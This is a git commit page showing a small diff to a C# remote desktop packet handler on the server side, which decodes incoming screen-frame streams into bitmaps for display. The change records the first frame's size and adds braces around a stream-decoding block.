Update HandleRemoteDesktop.cs

This commit is contained in:
NYAN CAT 2023-10-16 17:20:12 +03:00
parent 4ebf319b8c
commit fa59997117

View File

@ -27,16 +27,17 @@ namespace Server.Handle_Packet
RD.labelWait.Visible = false; RD.labelWait.Visible = false;
RD.timer1.Start(); RD.timer1.Start();
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
RD.rdSize = decoded0.Size;
int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
RD.numericUpDown2.Maximum = Screens - 1; RD.numericUpDown2.Maximum = Screens - 1;
} }
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
lock (RD.syncPicbox) lock (RD.syncPicbox)
{ {
using (MemoryStream stream = new MemoryStream(RdpStream)) using (MemoryStream stream = new MemoryStream(RdpStream))
{
RD.GetImage = RD.decoder.DecodeData(stream); RD.GetImage = RD.decoder.DecodeData(stream);
}
RD.pictureBox1.Image = RD.GetImage; RD.pictureBox1.Image = RD.GetImage;
RD.FPS++; RD.FPS++;